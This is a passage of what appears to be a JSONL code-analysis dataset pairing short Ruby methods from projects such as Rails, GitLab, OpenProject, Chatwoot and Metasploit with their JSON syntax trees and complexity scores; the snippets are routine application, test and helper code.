,\"children\":[\"raw_metadata\"]},{\"type\":\"str\",\"children\":[\"{}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata_version\"]},{\"type\":\"str\",\"children\":[\"test:1.0\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vulnerability\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerabilities\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Vulnerability 1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_type\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finding_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finding\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerability_reads\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vulnerability_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerability\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scanner_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_type\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archived\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"traversal_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"4d7e8f65-3c9d-40b9-ad7d-275c6e3d7ef5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":1366,"raw_source":"def plural\n            @plural ||= name.to_s\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"plural\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@plural\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_s\"]}]}]}","id":"4d7baf69-702e-43c1-8bf4-5ab8408a9c13"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb","start_line":211,"raw_source":"def build_java_serialized_int(int)\n    stream = Serialization::Model::Stream.new\n    stream.contents << Serialization::Model::BlockData.new(stream, [ int ].pack('N'))\n    stream.encode\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_java_serialized_int\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"int\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Serialization\"]},\"Model\"]},\"Stream\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"contents\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Serialization\"]},\"Model\"]},\"BlockData\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"stream\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"encode\"]}]}]}","id":"a42dfb50-6ee1-47c8-acd6-a4d6ba4a5418"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/reference_filter.rb","start_line":299,"raw_source":"def update_nodes!\n          # if we haven't loaded `nodes` yet, don't do it here\n          return unless nodes?\n\n          @new_nodes.sort_by { |index, _new_nodes| -index }.each do |index, new_nodes|\n            nodes[index, 1] = new_nodes\n          end\n          result[:reference_filter_nodes] = nodes\n        end","complexity_score":13.18,"ast_json":"{\"type\":\"def\",\"children\":[\"update_nodes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nodes?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_nodes\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"arg\",\"children\":[\"_new_nodes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"-@\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"arg\",\"children\":[\"new_nodes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nodes\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"new_nodes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"reference_filter_nodes\"]},{\"type\":\"send\",\"children\":[null,\"nodes\"]}]}]}]}","id":"ffeb64b9-cc32-4218-bd04-7d6a86fd622b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb","start_line":86,"raw_source":"def add_index_options(table_name, column_name, name: nil, if_not_exists: false, internal: false, **options) # :nodoc:\n          index, algorithm, if_not_exists = super\n          index.enabled = options[:enabled] unless options[:enabled].nil?\n          [index, algorithm, if_not_exists]\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_index_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"if_not_exists\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"internal\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\"]},{\"type\":\"lvasgn\",\"children\":[\"algorithm\"]},{\"type\":\"lvasgn\",\"children\":[\"if_not_exists\"]}]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"enabled=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"algorithm\"]},{\"type\":\"lvar\",\"children\":[\"if_not_exists\"]}]}]}]}","id":"6da16cd7-0538-48fb-9cdb-67be4b0c1d28"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":1582,"raw_source":"def test_select_datetime_with_hidden\n    expected =  +%(<input id=\"date_first_year\" name=\"date[first][year]\" type=\"hidden\" value=\"2003\" autocomplete=\"off\" />\\n)\n    expected << %(<input id=\"date_first_month\" name=\"date[first][month]\" type=\"hidden\" value=\"8\" autocomplete=\"off\" />\\n)\n    expected << %(<input id=\"date_first_day\" name=\"date[first][day]\" type=\"hidden\" value=\"16\" autocomplete=\"off\" />\\n)\n    expected << %(<input id=\"date_first_hour\" name=\"date[first][hour]\" type=\"hidden\" value=\"8\" autocomplete=\"off\" />\\n)\n    expected << %(<input id=\"date_first_minute\" name=\"date[first][minute]\" type=\"hidden\" value=\"4\" autocomplete=\"off\" />\\n)\n\n    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), prefix: \"date[first]\", use_hidden: true)\n    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), datetime_separator: \"&mdash;\", date_separator: \"/\",\n      time_separator: \":\", prefix: \"date[first]\", use_hidden: true)\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_datetime_with_hidden\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<input id=\\\"date_first_year\\\" name=\\\"date[first][year]\\\" type=\\\"hidden\\\" value=\\\"2003\\\" autocomplete=\\\"off\\\" />\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input id=\\\"date_first_month\\\" name=\\\"date[first][month]\\\" type=\\\"hidden\\\" value=\\\"8\\\" autocomplete=\\\"off\\\" />\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input id=\\\"date_first_day\\\" name=\\\"date[first][day]\\\" type=\\\"hidden\\\" value=\\\"16\\\" autocomplete=\\\"off\\\" />\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input id=\\\"date_first_hour\\\" name=\\\"date[first][hour]\\\" type=\\\"hidden\\\" value=\\\"8\\\" autocomplete=\\\"off\\\" />\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input id=\\\"date_first_minute\\\" name=\\\"date[first][minute]\\\" type=\\\"hidden\\\" value=\\\"4\\\" autocomplete=\\\"off\\\" />\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"mktime\",{\"type\":\"int\",\"children\":[2003]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"str\",\"children\":[\"date[first]\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"mktime\",{\"type\":\"int\",\"children\":[2003]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datetime_separator\"]},{\"type\":\"str\",\"children\":[\"&mdash;\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date_separator\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_separator\"]},{\"type\":\"str\",\"children\":[\":\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"str\",\"children\":[\"date[first]\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_hidden\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"b1113472-237d-4743-8fab-571b56b40ccf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/capabilities/scopes/default.rb","start_line":106,"raw_source":"def default_sql_by_non_member\n        <<~SQL_PART\n          SELECT DISTINCT\n            actions.id \"action\",\n            users.id principal_id,\n            projects.id context_id\n          FROM (#{Action.default.to_sql}) actions\n          LEFT JOIN \"role_permissions\"\n            ON \"role_permissions\".\"permission\" = \"actions\".\"permission\"\n          JOIN \"roles\"\n            ON (\"roles\".id = \"role_permissions\".role_id OR \"actions\".\"public\")\n            AND roles.builtin = #{Role::BUILTIN_NON_MEMBER}\n          JOIN (#{principal_sql}) users\n            ON 1 = 1\n          JOIN \"projects\"\n            ON \"projects\".active = true\n            AND (\"projects\".public = true AND NOT EXISTS (SELECT 1\n                                                          FROM members\n                                                          WHERE members.project_id = projects.id\n                                                          AND members.user_id = users.id\n                                                          AND members.entity_type IS NULL\n                                                          AND members.entity_id IS NULL\n                                                          LIMIT 1))\n          LEFT OUTER JOIN enabled_modules\n            ON enabled_modules.project_id = projects.id\n            AND actions.module = enabled_modules.name\n\n          WHERE enabled_modules.project_id IS NOT NULL OR \"actions\".module IS NULL\n        SQL_PART\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_sql_by_non_member\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT DISTINCT\\n\"]},{\"type\":\"str\",\"children\":[\"  actions.id \\\"action\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"  users.id principal_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  projects.id context_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Action\"]},\"default\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") actions\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN \\\"role_permissions\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  ON \\\"role_permissions\\\".\\\"permission\\\" = \\\"actions\\\".\\\"permission\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN \\\"roles\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  ON (\\\"roles\\\".id = \\\"role_permissions\\\".role_id OR \\\"actions\\\".\\\"public\\\")\\n\"]},{\"type\":\"str\",\"children\":[\"  AND roles.builtin = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Role\"]},\"BUILTIN_NON_MEMBER\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"principal_sql\"]}]},{\"type\":\"str\",\"children\":[\") users\\n\"]},{\"type\":\"str\",\"children\":[\"  ON 1 = 1\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN \\\"projects\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  ON \\\"projects\\\".active = true\\n\"]},{\"type\":\"str\",\"children\":[\"  AND (\\\"projects\\\".public = true AND NOT EXISTS (SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"                                                FROM members\\n\"]},{\"type\":\"str\",\"children\":[\"                                                WHERE members.project_id = projects.id\\n\"]},{\"type\":\"str\",\"children\":[\"                                                AND members.user_id = users.id\\n\"]},{\"type\":\"str\",\"children\":[\"                                                AND members.entity_type IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                                                AND members.entity_id IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                                                LIMIT 1))\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT OUTER JOIN enabled_modules\\n\"]},{\"type\":\"str\",\"children\":[\"  ON enabled_modules.project_id = projects.id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND actions.module = enabled_modules.name\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE enabled_modules.project_id IS NOT NULL OR \\\"actions\\\".module IS NULL\\n\"]}]}]}","id":"a31e5f7d-5ebc-413c-b98b-563c34941114"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/conversation_mute_helpers.rb","start_line":4,"raw_source":"def mute!\n    resolved!\n    contact.update(blocked: true)\n    create_muted_message\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mute!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolved!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contact\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blocked\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_muted_message\"]}]}]}","id":"f632054b-98d3-4fb4-adf8-57fd6b55511b"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/state_machine.rb","start_line":7,"raw_source":"def initialize(name)\n      @initial_state = nil\n      @states = []\n      @events = {}\n      @global_callbacks = {}\n      @config = AASM::Configuration.new\n      @name = name\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@initial_state\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@states\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@events\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@global_callbacks\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AASM\"]},\"Configuration\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"2cf80287-b1a0-4fb2-90b5-55e253c76cfc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_pglogical.rb","start_line":53,"raw_source":"def create_replication_set\n    self.class.with_connection_error_handling { pglogical.create_publication(PUBLICATION_NAME) }\n    refresh_excludes\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_replication_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_connection_error_handling\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pglogical\"]},\"create_publication\",{\"type\":\"const\",\"children\":[null,\"PUBLICATION_NAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"refresh_excludes\"]}]}]}","id":"e4ddc2b9-97e6-4d06-8d05-2a7deb34c11d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/logging/log_dispatcher.rb","start_line":19,"raw_source":"def initialize()\n    self.log_sinks      = {}\n    self.log_levels     = {}\n    self.log_sinks_lock = Mutex.new\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_sinks=\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_levels=\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_sinks_lock=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]}]}]}","id":"d0d442b8-5ca9-4c0c-ab59-5fa41dd4d7b4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions.rb","start_line":26,"raw_source":"def new_column_definition(name, type, **options) # :nodoc:\n          case type\n          when :virtual\n            type = options[:type]\n          end\n\n          super\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"new_column_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"virtual\"]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"90a074c7-5880-49d4-aaea-0a44f2240833"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/project_queries/empty_state_component.rb","start_line":65,"raw_source":"def unfiltered_blankslate_config\n        {\n          icon: \"share-android\",\n          heading_text: I18n.t(\"sharing.project_queries.blank_state.private.header\"),\n          description_text: I18n.t(\"sharing.project_queries.blank_state.private.description\")\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unfiltered_blankslate_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"share-android\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"heading_text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"sharing.project_queries.blank_state.private.header\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description_text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"sharing.project_queries.blank_state.private.description\"]}]}]}]}]}","id":"3e9fbbd8-5f8c-4302-b82d-5a732aceb612"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/llm/paginated_faq_generator_service.rb","start_line":19,"raw_source":"def generate\n    raise CustomExceptions::PdfFaqGenerationError, I18n.t('captain.documents.missing_openai_file_id') if @document&.openai_file_id.blank?\n\n    generate_paginated_faqs\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@document\"]},\"openai_file_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomExceptions\"]},\"PdfFaqGenerationError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"captain.documents.missing_openai_file_id\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"generate_paginated_faqs\"]}]}]}","id":"114d638e-4d3c-4f0b-8b72-b444309dd2e4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/duplicate_methods.rb","start_line":237,"raw_source":"def found_sclass_method(node, name)\n          singleton_ancestor = node.each_ancestor.find(&:sclass_type?)\n          return unless singleton_ancestor\n\n          singleton_receiver_node = singleton_ancestor.children[0]\n          return unless singleton_receiver_node.send_type?\n\n          found_method(node, \"#{singleton_receiver_node.method_name}.#{name}\")\n        end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"found_sclass_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"singleton_ancestor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_ancestor\"]},\"find\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"sclass_type?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"singleton_ancestor\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"singleton_receiver_node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"singleton_ancestor\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"singleton_receiver_node\"]},\"send_type?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"found_method\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"singleton_receiver_node\"]},\"method_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"3b5abf92-3d8e-4f97-860f-e38001c3c6f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/duration_parser.rb","start_line":15,"raw_source":"def validate_duration\n          return true if never?\n\n          cached_parse\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_duration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"never?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"cached_parse\"]}]}]}","id":"0739fcd3-cc5b-46e4-bcf1-e2f9ae330759"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/admin/users/users_spec.rb","start_line":701,"raw_source":"def first_row\n    all_users[0]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"first_row\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_users\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"6b07ac6e-8b63-4ec2-b9f3-01c9e7a9cccf"}
